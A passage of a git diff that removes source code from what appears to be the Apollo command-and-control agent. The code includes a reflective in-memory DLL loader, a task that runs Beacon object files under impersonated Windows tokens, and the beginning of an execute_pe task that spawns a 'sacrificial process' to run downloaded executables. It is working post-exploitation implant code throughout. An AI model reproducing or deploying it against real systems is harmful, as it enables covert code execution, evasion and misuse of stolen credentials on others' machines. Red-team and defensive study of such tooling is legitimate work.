- { - VirtualFree(_baseAddress, UIntPtr.Zero, MEM_RELEASE); - _baseAddress = IntPtr.Zero; - throw; - } - } - finally - { - if (pinnedArray.IsAllocated) - pinnedArray.Free(); - } - } - - ~MemoryModule() - { - Dispose(false); - } - - #endregion - - #region Public Methods - - /// - /// Gets a function pointer from the loaded DLL. - /// - /// The name of the function to get. - /// A pointer to the function. - public IntPtr GetProcAddressFromMemory(string functionName) - { - if (_disposed) - throw new ObjectDisposedException(nameof(MemoryModule)); - - if (string.IsNullOrEmpty(functionName)) - throw new ArgumentNullException(nameof(functionName)); - - if (_baseAddress == IntPtr.Zero) - throw new InvalidOperationException("DLL is not loaded."); - - // Find the export directory - IntPtr ptrDosHeader = _baseAddress; - IMAGE_DOS_HEADER dosHeader = (IMAGE_DOS_HEADER)Marshal.PtrToStructure(ptrDosHeader, typeof(IMAGE_DOS_HEADER)); - IntPtr ptrNtHeader = IntPtr.Add(_baseAddress, dosHeader.e_lfanew); - - IMAGE_DATA_DIRECTORY exportDirectory; - if (_is64Bit) - { - IMAGE_NT_HEADERS64 ntHeaders = (IMAGE_NT_HEADERS64)Marshal.PtrToStructure(ptrNtHeader, typeof(IMAGE_NT_HEADERS64)); - exportDirectory = ntHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; - } - else - { - IMAGE_NT_HEADERS32 ntHeaders = (IMAGE_NT_HEADERS32)Marshal.PtrToStructure(ptrNtHeader, typeof(IMAGE_NT_HEADERS32)); - exportDirectory = ntHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; - } - - if (exportDirectory.VirtualAddress == 0 || exportDirectory.Size == 0) - throw new EntryPointNotFoundException($"Export directory not found for function: {functionName}"); - - IntPtr ptrExportDirectory = IntPtr.Add(_baseAddress, (int)exportDirectory.VirtualAddress); - IMAGE_EXPORT_DIRECTORY exportDir = (IMAGE_EXPORT_DIRECTORY)Marshal.PtrToStructure(ptrExportDirectory, typeof(IMAGE_EXPORT_DIRECTORY)); - - // Get the array of function addresses - IntPtr ptrFunctions = IntPtr.Add(_baseAddress, (int)exportDir.AddressOfFunctions); - // Get the array of function names - IntPtr ptrNames = IntPtr.Add(_baseAddress, (int)exportDir.AddressOfNames); - // Get the array of name ordinals - IntPtr ptrNameOrdinals = IntPtr.Add(_baseAddress, (int)exportDir.AddressOfNameOrdinals); - - // Search for the function by name - for (uint i = 0; i < exportDir.NumberOfNames; i++) - { - uint nameRva = (uint)Marshal.ReadInt32(IntPtr.Add(ptrNames, (int)(i * 4))); - IntPtr ptrName = IntPtr.Add(_baseAddress, (int)nameRva); - string name = Marshal.PtrToStringAnsi(ptrName); - - if (string.Equals(name, functionName, StringComparison.Ordinal)) - { - ushort ordinal = (ushort)Marshal.ReadInt16(IntPtr.Add(ptrNameOrdinals, (int)(i * 2))); - uint functionRva = (uint)Marshal.ReadInt32(IntPtr.Add(ptrFunctions, (int)(ordinal * 4))); - IntPtr functionAddress = IntPtr.Add(_baseAddress, (int)functionRva); - - // Check if it's a forwarder - if (functionRva >= exportDirectory.VirtualAddress && - functionRva < exportDirectory.VirtualAddress + exportDirectory.Size) - { - // It's a forwarder, we need to load the referenced DLL - string forwarder = Marshal.PtrToStringAnsi(functionAddress); - int dotIndex = forwarder.IndexOf('.'); - if (dotIndex <= 0) - throw new EntryPointNotFoundException($"Invalid forwarder: {forwarder}"); - - string dllName = forwarder.Substring(0, dotIndex) + ".dll"; - string forwardedFunction = forwarder.Substring(dotIndex + 1); - - // Load the forwarded DLL - IntPtr hModule; - if (!_modules.TryGetValue(dllName, out hModule)) - { - hModule = LoadLibrary(dllName); - if (hModule == IntPtr.Zero) - throw new DllNotFoundException($"Failed to load forwarded DLL: {dllName}"); - - _modules.Add(dllName, hModule); - } - - // Get the forwarded function address - return GetProcAddress(hModule, forwardedFunction); - } - - return functionAddress; - } - } - - throw new EntryPointNotFoundException($"Function not found: {functionName}"); - } - - /// - /// Gets a delegate for a function in the loaded DLL. - /// - /// The type of delegate to return. - /// The name of the function. - /// A delegate for the function. - public T GetDelegate(string functionName) where T : Delegate - { - IntPtr procAddress = GetProcAddressFromMemory(functionName); - return (T)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(T)); - } - - #endregion - - #region Private Methods - - private void ProcessImports() - { - // Get pointers to PE headers - IMAGE_DOS_HEADER dosHeader = (IMAGE_DOS_HEADER)Marshal.PtrToStructure(_baseAddress, typeof(IMAGE_DOS_HEADER)); - IntPtr ptrNtHeader = IntPtr.Add(_baseAddress, dosHeader.e_lfanew); - - // Get import directory - IMAGE_DATA_DIRECTORY importDirectory; - if (_is64Bit) - { - IMAGE_NT_HEADERS64 ntHeaders = (IMAGE_NT_HEADERS64)Marshal.PtrToStructure(ptrNtHeader, typeof(IMAGE_NT_HEADERS64)); - importDirectory = ntHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; - } - else - { - IMAGE_NT_HEADERS32 ntHeaders = (IMAGE_NT_HEADERS32)Marshal.PtrToStructure(ptrNtHeader, typeof(IMAGE_NT_HEADERS32)); - importDirectory = ntHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; - } - - if (importDirectory.VirtualAddress == 0 || importDirectory.Size == 0) - return; // No imports - - IntPtr ptrImportDesc = IntPtr.Add(_baseAddress, (int)importDirectory.VirtualAddress); - int index = 0; - - while (true) - { - IMAGE_IMPORT_DESCRIPTOR importDesc = (IMAGE_IMPORT_DESCRIPTOR)Marshal.PtrToStructure( - IntPtr.Add(ptrImportDesc, index * Marshal.SizeOf(typeof(IMAGE_IMPORT_DESCRIPTOR))), - typeof(IMAGE_IMPORT_DESCRIPTOR)); - - // End of import descriptors - if (importDesc.Name == 0) - break; - - // Get the DLL name - IntPtr ptrDllName = IntPtr.Add(_baseAddress, (int)importDesc.Name); - string dllName = Marshal.PtrToStringAnsi(ptrDllName); - - // Load the DLL - IntPtr hModule; - if (!_modules.TryGetValue(dllName, out hModule)) - { - hModule = LoadLibrary(dllName); - if (hModule == IntPtr.Zero) - throw new DllNotFoundException($"Failed to load imported DLL: {dllName}"); - - _modules.Add(dllName, hModule); - } - - // Process the imports - IntPtr ptrFirstThunk = IntPtr.Add(_baseAddress, (int)importDesc.FirstThunk); - IntPtr ptrOriginalFirstThunk = importDesc.OriginalFirstThunk != 0 - ? IntPtr.Add(_baseAddress, (int)importDesc.OriginalFirstThunk) - : ptrFirstThunk; - - int thunkIndex = 0; - while (true) - { - IntPtr thunkAddress = IntPtr.Add(ptrFirstThunk, thunkIndex * (_is64Bit ? 8 : 4)); - IntPtr originalThunkAddress = IntPtr.Add(ptrOriginalFirstThunk, thunkIndex * (_is64Bit ? 8 : 4)); - - ulong thunkData = _is64Bit - ? (ulong)Marshal.ReadInt64(originalThunkAddress) - : (uint)Marshal.ReadInt32(originalThunkAddress); - - // End of imports for this DLL - if (thunkData == 0) - break; - - IntPtr functionAddress; - - if ((thunkData & (_is64Bit ? 0x8000000000000000 : 0x80000000)) != 0) - { - // Import by ordinal - uint ordinal = (uint)(thunkData & 0xFFFF); - // We need to add an additional declaration for the ordinal version of GetProcAddress - functionAddress = GetProcAddressByOrdinal(hModule, (IntPtr)ordinal); - } - else - { - // Import by name - IntPtr ptrImportByName = IntPtr.Add(_baseAddress, (int)thunkData); - IMAGE_IMPORT_BY_NAME importByName = (IMAGE_IMPORT_BY_NAME)Marshal.PtrToStructure(ptrImportByName, typeof(IMAGE_IMPORT_BY_NAME)); - string functionName = Marshal.PtrToStringAnsi(IntPtr.Add(ptrImportByName, 2)); // Skip the Hint field (2 bytes) - functionAddress = GetProcAddress(hModule, functionName); - } - - if (functionAddress == IntPtr.Zero) - throw new EntryPointNotFoundException($"Failed to find imported function: {dllName} - Function index {thunkIndex}"); - - // Write the function address to the IAT - if (_is64Bit) - Marshal.WriteInt64(thunkAddress, functionAddress.ToInt64()); - else - Marshal.WriteInt32(thunkAddress, functionAddress.ToInt32()); - - thunkIndex++; - } - - index++; - } - } - - private void ProcessRelocations() - { - // Check if relocations are necessary - long delta = _baseAddress.ToInt64() - (long)_imageBase; - if (delta == 0) - return; // No relocations needed - - // Get pointers to PE headers - IMAGE_DOS_HEADER dosHeader = (IMAGE_DOS_HEADER)Marshal.PtrToStructure(_baseAddress, typeof(IMAGE_DOS_HEADER)); - IntPtr ptrNtHeader = IntPtr.Add(_baseAddress, dosHeader.e_lfanew); - - // Get relocation directory - IMAGE_DATA_DIRECTORY relocationDirectory; - if (_is64Bit) - { - IMAGE_NT_HEADERS64 ntHeaders = (IMAGE_NT_HEADERS64)Marshal.PtrToStructure(ptrNtHeader, typeof(IMAGE_NT_HEADERS64)); - relocationDirectory = ntHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; - } - else - { - IMAGE_NT_HEADERS32 ntHeaders = (IMAGE_NT_HEADERS32)Marshal.PtrToStructure(ptrNtHeader, typeof(IMAGE_NT_HEADERS32)); - relocationDirectory = ntHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; - } - - if (relocationDirectory.VirtualAddress == 0 || relocationDirectory.Size == 0) - return; // No relocations - - IntPtr ptrReloc = IntPtr.Add(_baseAddress, (int)relocationDirectory.VirtualAddress); - uint remainingSize = relocationDirectory.Size; - - while (remainingSize > 0) - { - IMAGE_BASE_RELOCATION relocation = (IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(ptrReloc, typeof(IMAGE_BASE_RELOCATION)); - if (relocation.SizeOfBlock == 0) - break; - - // Get the number of entries in this block - int entriesCount = (int)(relocation.SizeOfBlock - Marshal.SizeOf(typeof(IMAGE_BASE_RELOCATION))) / 2; - - // Process each entry - for (int i = 0; i < entriesCount; i++) - { - // Read the relocation entry (2 bytes) - ushort entry = (ushort)Marshal.ReadInt16(IntPtr.Add(ptrReloc, Marshal.SizeOf(typeof(IMAGE_BASE_RELOCATION)) + i * 2)); - - // The high 4 bits indicate the type of relocation - int type = entry >> 12; - - // The low 12 bits indicate the offset from the base address of the relocation block - int offset = entry & 0xFFF; - - // Calculate the address to relocate - IntPtr ptrAddress = IntPtr.Add(_baseAddress, (int)relocation.VirtualAddress + offset); - - // Apply the relocation based on type - switch (type) - { - case IMAGE_REL_BASED_ABSOLUTE: - // Do nothing, it's a padding entry - break; - - case IMAGE_REL_BASED_HIGHLOW: - // 32-bit relocation - int value32 = Marshal.ReadInt32(ptrAddress); - Marshal.WriteInt32(ptrAddress, value32 + (int)delta); - break; - - case IMAGE_REL_BASED_DIR64: - // 64-bit relocation - long value64 = Marshal.ReadInt64(ptrAddress); - Marshal.WriteInt64(ptrAddress, value64 + delta); - break; - - case IMAGE_REL_BASED_HIGH: - // High 16-bits of a 32-bit relocation - ushort high = (ushort)Marshal.ReadInt16(ptrAddress); - Marshal.WriteInt16(ptrAddress, (short)(high + (short)((delta >> 16) & 0xFFFF))); - break; - - case IMAGE_REL_BASED_LOW: - // Low 16-bits of a 32-bit relocation - ushort low = (ushort)Marshal.ReadInt16(ptrAddress); - Marshal.WriteInt16(ptrAddress, (short)(low + (short)(delta & 0xFFFF))); - break; - - default: - throw new NotSupportedException($"Unsupported relocation type: {type}"); - } - } - - // Move to the next relocation block - ptrReloc = IntPtr.Add(ptrReloc, (int)relocation.SizeOfBlock); - remainingSize -= relocation.SizeOfBlock; - } - } - - private void ProtectMemory() - { - // Get pointers to PE headers - IMAGE_DOS_HEADER dosHeader = (IMAGE_DOS_HEADER)Marshal.PtrToStructure(_baseAddress, typeof(IMAGE_DOS_HEADER)); - IntPtr ptrNtHeader = IntPtr.Add(_baseAddress, dosHeader.e_lfanew); - - // Get the section headers - IntPtr ptrSectionHeader; - int numberOfSections; - - if (_is64Bit) - { - IMAGE_NT_HEADERS64 ntHeaders = (IMAGE_NT_HEADERS64)Marshal.PtrToStructure(ptrNtHeader, typeof(IMAGE_NT_HEADERS64)); - numberOfSections = ntHeaders.FileHeader.NumberOfSections; - ptrSectionHeader = IntPtr.Add(ptrNtHeader, Marshal.SizeOf(typeof(IMAGE_NT_HEADERS64))); - } - else - { - IMAGE_NT_HEADERS32 ntHeaders = (IMAGE_NT_HEADERS32)Marshal.PtrToStructure(ptrNtHeader, typeof(IMAGE_NT_HEADERS32)); - numberOfSections = ntHeaders.FileHeader.NumberOfSections; - ptrSectionHeader = IntPtr.Add(ptrNtHeader, Marshal.SizeOf(typeof(IMAGE_NT_HEADERS32))); - } - - // Process each section - for (int i = 0; i < numberOfSections; i++) - { - IMAGE_SECTION_HEADER sectionHeader = (IMAGE_SECTION_HEADER)Marshal.PtrToStructure(ptrSectionHeader, typeof(IMAGE_SECTION_HEADER)); - - if (sectionHeader.VirtualAddress != 0 && sectionHeader.SizeOfRawData > 0) - { - // Determine the appropriate protection flags - uint protect = PAGE_READWRITE; // Default - - if ((sectionHeader.Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0) - { - if ((sectionHeader.Characteristics & IMAGE_SCN_MEM_WRITE) != 0) - protect = PAGE_EXECUTE_READWRITE; - else if ((sectionHeader.Characteristics & IMAGE_SCN_MEM_READ) != 0) - protect = PAGE_EXECUTE_READ; - else - protect = PAGE_EXECUTE; - } - else if ((sectionHeader.Characteristics & IMAGE_SCN_MEM_WRITE) != 0) - { - protect = PAGE_READWRITE; - } - else if ((sectionHeader.Characteristics & IMAGE_SCN_MEM_READ) != 0) - { - protect = PAGE_READONLY; - } - - // Calculate the section's memory size (aligned to page size) - IntPtr sectionAddress = IntPtr.Add(_baseAddress, (int)sectionHeader.VirtualAddress); - uint oldProtect; - - // Apply the protection - if (!VirtualProtect(sectionAddress, (UIntPtr)sectionHeader.SizeOfRawData, protect, out oldProtect)) - throw new InvalidOperationException($"Failed to set memory protection for section {i}"); - } - - ptrSectionHeader = IntPtr.Add(ptrSectionHeader, Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER))); - } - } - - #endregion - - #region IDisposable Implementation - - /// - /// Disposes the memory module and frees all resources. - /// - public void Dispose() - { - Dispose(true); - GC.SuppressFinalize(this); - } - - protected virtual void Dispose(bool disposing) - { - return; - if (!_disposed) - { - if (_baseAddress != IntPtr.Zero) - { - // Call DllMain with DLL_PROCESS_DETACH if we have an entry point - if (_entryPoint != IntPtr.Zero) - { - try - { - DllEntryDelegate dllEntry = (DllEntryDelegate)Marshal.GetDelegateForFunctionPointer(_entryPoint, typeof(DllEntryDelegate)); - dllEntry(_baseAddress, DLL_PROCESS_DETACH, IntPtr.Zero); - } - catch - { - // Ignore errors during cleanup - } - } - - // Free memory - VirtualFree(_baseAddress, UIntPtr.Zero, MEM_RELEASE); - _baseAddress = IntPtr.Zero; - } - - // Free loaded modules - foreach (IntPtr hModule in _modules.Values) - { - try - { - FreeLibrary(hModule); - } - catch - { - // Ignore errors during cleanup - } - } - - _modules.Clear(); - _disposed = true; - } - } - - #endregion - } - public static bool LoadDLL(byte[] dllBytes) - { - if(_RunCOFF == null || _Unhexlify == null || _BeaconGetOutputData == null) - { - try - { - MemoryModule loadedDLL = new MemoryModule(dllBytes); - _RunCOFF = loadedDLL.GetDelegate("RunCOFF"); - _Unhexlify = loadedDLL.GetDelegate("Unhexlify"); - _BeaconGetOutputData = loadedDLL.GetDelegate("BeaconGetOutputData"); - }catch(Exception ex) - { - DebugHelp.DebugWriteLine($"Exception: {ex.Message}"); - DebugHelp.DebugWriteLine($"Exception Location: {ex.StackTrace}"); - return false; - } - - } - return true; - } - // Class to hold the state for COFF execution thread - private class COFFExecutionState - { - public IAgent Agent { get; set; } - public string FunctionName { get; set; } - public IntPtr CoffData { get; set; } - public uint FileSize { get; set; } - public IntPtr ArgumentData { get; set; } - public int ArgumentSize { get; set; } - public int Status { get; set; } - public AutoResetEvent CompletionEvent { get; set; } - public string Output { get; set; } - public Exception Error { get; set; } - } - - // Method to run COFF in a separate thread - private static void ExecuteCOFFThreadFunc(object state) - { - COFFExecutionState executionState = (COFFExecutionState)state; - IAgent agent = executionState.Agent; - try - { - DebugHelp.DebugWriteLine($"Starting COFF execution in thread {Thread.CurrentThread.ManagedThreadId}"); - WindowsImpersonationContext tokenApplied; - if (!agent.GetIdentityManager().IsOriginalIdentity()) - { - DebugHelp.DebugWriteLine("Applying impersonation token to COFF execution thread"); - try - { - // Impersonate the current identity in this new thread - tokenApplied = agent.GetIdentityManager().GetCurrentImpersonationIdentity().Impersonate(); - DebugHelp.DebugWriteLine($"Successfully applied token for {agent.GetIdentityManager().GetCurrentImpersonationIdentity().Name} to COFF thread"); - // Debug information about the current token - WindowsIdentity currentThreadIdentity = WindowsIdentity.GetCurrent(); - DebugHelp.DebugWriteLine($"Thread identity after impersonation attempt: {currentThreadIdentity.Name}"); - //DebugHelp.DebugWriteLine($"Thread token type: {currentThreadIdentity.Token.ToInt64():X}"); - //DebugHelp.DebugWriteLine($"Is authenticated: {currentThreadIdentity.IsAuthenticated}"); - //DebugHelp.DebugWriteLine($"Authentication type: {currentThreadIdentity.AuthenticationType}"); - - // List of groups/claims - //DebugHelp.DebugWriteLine("Token groups/claims:"); - //foreach (var claim in currentThreadIdentity.Claims) - //{ - // DebugHelp.DebugWriteLine($" - {claim.Type}: {claim.Value}"); - //} - - // Compare with expected identity - string expectedName = agent.GetIdentityManager().GetCurrentImpersonationIdentity().Name; - DebugHelp.DebugWriteLine($"Expected identity: {expectedName}"); - DebugHelp.DebugWriteLine($"Identity match: {expectedName == currentThreadIdentity.Name}"); - - } - catch (Exception ex) - { - DebugHelp.DebugWriteLine($"Error applying token to thread: {ex.Message}"); - // Fallback to using SetThreadToken API directly - IntPtr threadHandle = GetCurrentThread(); - IntPtr tokenHandle = agent.GetIdentityManager().GetCurrentImpersonationIdentity().Token; - - bool result = SetThreadToken(ref threadHandle, tokenHandle); - if (result) - { - DebugHelp.DebugWriteLine("Successfully applied token using SetThreadToken API"); - // Verify identity after SetThreadToken - WindowsIdentity currentThreadIdentity = WindowsIdentity.GetCurrent(); - DebugHelp.DebugWriteLine($"Thread identity after SetThreadToken: {currentThreadIdentity.Name}"); - } - else - { - int error = Marshal.GetLastWin32Error(); - DebugHelp.DebugWriteLine($"SetThreadToken failed with error: {error}"); - } - } - } - else - { - DebugHelp.DebugWriteLine("Using original identity for COFF execution"); - try - { - WindowsIdentity currentThreadIdentity = WindowsIdentity.GetCurrent(); - DebugHelp.DebugWriteLine($"Thread identity (original): {currentThreadIdentity.Name}"); - } - catch (Exception ex) - { - DebugHelp.DebugWriteLine($"Error getting current identity: {ex.Message}"); - } - } - // Execute the COFF - executionState.Status = _RunCOFF( - executionState.FunctionName, - executionState.CoffData, - executionState.FileSize, - executionState.ArgumentData, - executionState.ArgumentSize); - - DebugHelp.DebugWriteLine($"COFF execution completed with status: {executionState.Status}"); - - // Get output data if execution was successful - if (executionState.Status == 0) - { - int outdataSize = 0; - IntPtr outdata = _BeaconGetOutputData(ref outdataSize); - - if (outdata != IntPtr.Zero && outdataSize > 0) - { - byte[] outDataBytes = new byte[outdataSize]; - Marshal.Copy(outdata, outDataBytes, 0, outdataSize); - executionState.Output = Encoding.Default.GetString(outDataBytes); - DebugHelp.DebugWriteLine($"Retrieved {outdataSize} bytes of output data"); - } - else - { - executionState.Output = "No Output"; - DebugHelp.DebugWriteLine("No output data was returned from COFF execution"); - } - } - else - { - DebugHelp.DebugWriteLine($"COFF execution failed with status: {executionState.Status}"); - } - try - { - DebugHelp.DebugWriteLine("Reverting impersonation in COFF thread"); - WindowsIdentity.Impersonate(IntPtr.Zero); - } - catch (Exception ex) - { - DebugHelp.DebugWriteLine($"Error reverting impersonation: {ex.Message}"); - } - - } - catch (Exception ex) - { - DebugHelp.DebugWriteLine($"Exception in COFF execution thread: {ex.Message}"); - DebugHelp.DebugWriteLine($"Exception stack trace: {ex.StackTrace}"); - executionState.Error = ex; - } - finally - { - // Signal that execution is complete - DebugHelp.DebugWriteLine("Signaling COFF execution completion"); - executionState.CompletionEvent.Set(); - } - } - public override void Start() - { - MythicTaskResponse resp; - - try - { - CoffParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); - if (string.IsNullOrEmpty(parameters.CoffName) || string.IsNullOrEmpty(parameters.FunctionName)) - { - resp = CreateTaskResponse( - $"One or more required arguments was not provided.", - true, - "error"); - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - return; - } - _agent.GetFileManager().GetFileFromStore(parameters.CoffLoaderId, out byte[] coffLoaderDllBytes); - if (coffLoaderDllBytes is null || coffLoaderDllBytes.Length == 0) - { - if (_agent.GetFileManager().GetFile(_cancellationToken.Token, _data.ID, parameters.CoffLoaderId, out coffLoaderDllBytes)) - { - _agent.GetFileManager().AddFileToStore(parameters.CoffLoaderId, coffLoaderDllBytes); - } - else - { - resp = CreateTaskResponse($"Failed to get coff loader from Mythic", true, "error"); - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - return; - } - } - if (!LoadDLL(coffLoaderDllBytes)) - { - resp = CreateTaskResponse( - $"Failed to load COFFLoader.dll reflectively.", - true, - "error"); - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - return; - } - _agent.GetFileManager().GetFileFromStore(parameters.CoffName, out byte[] coffBytes); - if (coffBytes is null || coffBytes.Length == 0) - { - if (_agent.GetFileManager().GetFile(_cancellationToken.Token, _data.ID, parameters.BofId, out coffBytes)) - { - _agent.GetFileManager().AddFileToStore(parameters.CoffName, coffBytes); - } - else - { - _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse($"Failed to get bof from Mythic", true, "error")); - return; - } - } - - int coffArgsSize = 0; - int outdataSize = 0; - IntPtr coffArgs = _Unhexlify(parameters.PackedArguments, ref coffArgsSize); - IntPtr RunCOFFinputBuffer = Marshal.AllocHGlobal(coffBytes.Length * sizeof(byte)); - Marshal.Copy(coffBytes, 0, RunCOFFinputBuffer, coffBytes.Length); - _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse("[*] Starting COFF Execution...\n\n",false, $"Executing COFF {parameters.CoffName}")); - // Create execution state object - COFFExecutionState executionState = new COFFExecutionState - { - Agent = _agent, - FunctionName = parameters.FunctionName, - CoffData = RunCOFFinputBuffer, - FileSize = (uint)coffBytes.Length, - ArgumentData = coffArgs, - ArgumentSize = coffArgsSize, - CompletionEvent = new AutoResetEvent(false), - Output = "No Output" - }; - try - { - // Start execution in a separate thread - _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse("", false, "Starting COFF...")); - DebugHelp.DebugWriteLine("Starting COFF execution thread"); - Thread executionThread = new Thread(new ParameterizedThreadStart(ExecuteCOFFThreadFunc)); - executionThread.IsBackground = true; // Make thread a background thread so it doesn't keep process alive - executionThread.Start(executionState); - - // Wait for the thread to complete or timeout - DebugHelp.DebugWriteLine($"Waiting for COFF execution to complete (timeout: {parameters.timeout * 1000} ms)"); - int timeout = parameters.timeout * 1000 > 0 ? parameters.timeout * 1000 : -1; - bool completed = executionState.CompletionEvent.WaitOne(timeout); - - if (!completed) - { - // Execution timed out - executionThread.Abort(); - DebugHelp.DebugWriteLine("COFF execution timed out"); - resp = CreateTaskResponse( - $"COFF execution timed out after {parameters.timeout} seconds", - true, - "error"); - } - else if (executionState.Error != null) - { - // Execution threw an exception - Exception ex = executionState.Error; - DebugHelp.DebugWriteLine($"COFF execution threw exception: {ex.Message}"); - resp = CreateTaskResponse( - $"Exception during COFF execution: {ex.Message} \nLocation: {ex.StackTrace}", - true, - "error"); - } - else if (executionState.Status != 0) - { - // Execution completed with an error status - DebugHelp.DebugWriteLine($"COFF execution failed with status: {executionState.Status}"); - resp = CreateTaskResponse( - $"RunCOFF failed with status: {executionState.Status}", - true, - "error"); - } - else - { - // Execution completed successfully - DebugHelp.DebugWriteLine("COFF execution completed successfully"); - resp = CreateTaskResponse(executionState.Output, true); - } - } - finally - { - // Clean up resources - DebugHelp.DebugWriteLine("Cleaning up COFF execution resources"); - Marshal.FreeHGlobal(RunCOFFinputBuffer); - // No need to free coffArgs as it's managed by the COFF loader - } - } - - - catch (Exception ex) - { - DebugHelp.DebugWriteLine($"Exception: {ex.Message}"); - DebugHelp.DebugWriteLine($"Exception Location: {ex.StackTrace}"); - resp = CreateTaskResponse($"Exception: {ex.Message} \n Location: {ex.StackTrace}", true, "error"); - } - - _agent.GetTaskManager().AddTaskResponseToQueue(resp); - _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse("\n[*] COFF Finished.", true)); - } - } -} -#endif \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/execute_pe.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/execute_pe.cs deleted file mode 100644 index db755ec4..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/execute_pe.cs +++ /dev/null @@ -1,342 +0,0 @@ -#define COMMAND_NAME_UPPER - -#if DEBUG -#define EXECUTE_PE -#endif - -#if EXECUTE_PE - -using System; -using System.Text; -using ApolloInterop.Classes; -using ApolloInterop.Interfaces; -using ApolloInterop.Structs.MythicStructs; -using System.Runtime.Serialization; -using ApolloInterop.Serializers; -using System.Threading; -using System.Collections.Concurrent; -using System.IO.Pipes; -using ApolloInterop.Structs.ApolloStructs; -using ApolloInterop.Classes.Core; -using ApolloInterop.Utils; -using System.Threading.Tasks; -using ApolloInterop.Classes.Events; -using System.ComponentModel; -using ApolloInterop.Classes.Collections; -using System.Linq; - -namespace Tasks -{ - public class execute_pe : Tasking - { - -#pragma warning disable 0649 - [DataContract] - internal struct ExecutePEParameters - { - [DataMember(Name = "pipe_name")] - public string PipeName; - [DataMember(Name = "pe_name")] - public string PEName; - [DataMember(Name = "commandline")] - public string CommandLine; - [DataMember(Name = "loader_stub_id")] - public string LoaderStubId; - [DataMember(Name = "pe_id")] - public string PeId; - } -#pragma warning restore 0649 - - private AutoResetEvent _senderEvent = new AutoResetEvent(false); - private ConcurrentQueue _senderQueue = new ConcurrentQueue(); - private JsonSerializer _serializer = new JsonSerializer(); - private AutoResetEvent _complete = new AutoResetEvent(false); - private Action _sendAction; - - private Action _flushMessages; - private ThreadSafeList _assemblyOutput = new ThreadSafeList(); - private bool _completed = false; - private System.Threading.Tasks.Task flushTask; - public execute_pe(IAgent agent, MythicTask mythicTask) : base(agent, mythicTask) - { - _sendAction = (object p) => - { - PipeStream ps = (PipeStream)p; - while (ps.IsConnected && !_cancellationToken.IsCancellationRequested) - { - WaitHandle.WaitAny(new WaitHandle[] - { - _senderEvent, - _cancellationToken.Token.WaitHandle - }); - if (!_cancellationToken.IsCancellationRequested && ps.IsConnected && _senderQueue.TryDequeue(out byte[] result)) - { - try - { - ps.BeginWrite(result, 0, result.Length, OnAsyncMessageSent, p); - } - catch - { - ps.Close(); - _complete.Set(); - return; - } - - } - else if (!ps.IsConnected) - { - ps.Close(); - _complete.Set(); - return; - } - } - ps.Close(); - _complete.Set(); - }; - - _flushMessages = (object p) => - { - string output = ""; - while (!_cancellationToken.IsCancellationRequested && !_completed) - { - WaitHandle.WaitAny(new WaitHandle[] - { - _complete, - _cancellationToken.Token.WaitHandle - }, 2000); - output = string.Join("", _assemblyOutput.Flush()); - if (!string.IsNullOrEmpty(output)) - { - _agent.GetTaskManager().AddTaskResponseToQueue( - CreateTaskResponse( - output, - false, - "")); - } - } - while (true) - { - System.Threading.Tasks.Task.Delay(1000).Wait(); // wait 1s - output = string.Join("", _assemblyOutput.Flush()); - if (!string.IsNullOrEmpty(output)) - { - _agent.GetTaskManager().AddTaskResponseToQueue( - CreateTaskResponse( - output, - false, - "")); - } - else - { - DebugHelp.DebugWriteLine($"no longer collecting output"); - return; - } - } - - }; - } - - public override void Kill() - { - _completed = true; - _complete.Set(); - flushTask.Wait(); - _cancellationToken.Cancel(); - } - - - public override void Start() - { - MythicTaskResponse resp; - Process? proc = null; - try - { - ExecutePEParameters parameters = _jsonSerializer.Deserialize(_data.Parameters); - - DebugHelp.DebugWriteLine("Starting execute_pe task"); - DebugHelp.DebugWriteLine($"Task Parameters: {_data.Parameters}"); - DebugHelp.DebugWriteLine($"Executable name: {parameters.PEName}"); - DebugHelp.DebugWriteLine($"Process command line: {parameters.CommandLine}"); - - if (string.IsNullOrEmpty(parameters.LoaderStubId) || string.IsNullOrEmpty(parameters.PEName) || string.IsNullOrEmpty(parameters.PipeName)) - { - throw new ArgumentNullException($"One or more required arguments was not provided."); - } - - byte[]? peBytes; - - if(!_agent.GetFileManager().GetFileFromStore(parameters.PEName, out peBytes)) - { - if (_agent.GetFileManager().GetFile(_cancellationToken.Token, _data.ID, parameters.PeId, out peBytes)) - { - _agent.GetFileManager().AddFileToStore(parameters.PEName, peBytes); - } else - { - throw new InvalidOperationException($"Failed to download {parameters.PEName} from Mythic"); - } - } - - if (peBytes.Length == 0) - { - throw new InvalidOperationException($"{parameters.PEName} has a zero length (have you registered it?)"); - } - - if (!_agent.GetFileManager().GetFile(_cancellationToken.Token, _data.ID, parameters.LoaderStubId, out byte[] exePEPic)) - { - throw new InvalidOperationException($"Failed to download assembly loader stub (with id: {parameters.LoaderStubId}"); - } - - ApplicationStartupInfo info = _agent.GetProcessManager().GetStartupInfo(IntPtr.Size == 8); - - proc = _agent.GetProcessManager() - .NewProcess( - info.Application, - info.Arguments, - true - ) ?? throw new InvalidOperationException($"Process manager failed to create a new process {info.Application}"); - - //proc.OutputDataReceived += Proc_DataReceived; - //proc.ErrorDataReceieved += Proc_DataReceived; - //proc.Exit += Proc_Exit; - _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse("", false, "Starting Sacrificial process...")); - if (!proc.Start()) - { - throw new InvalidOperationException($"Failed to start sacrificial process {info.Application}"); - } - - 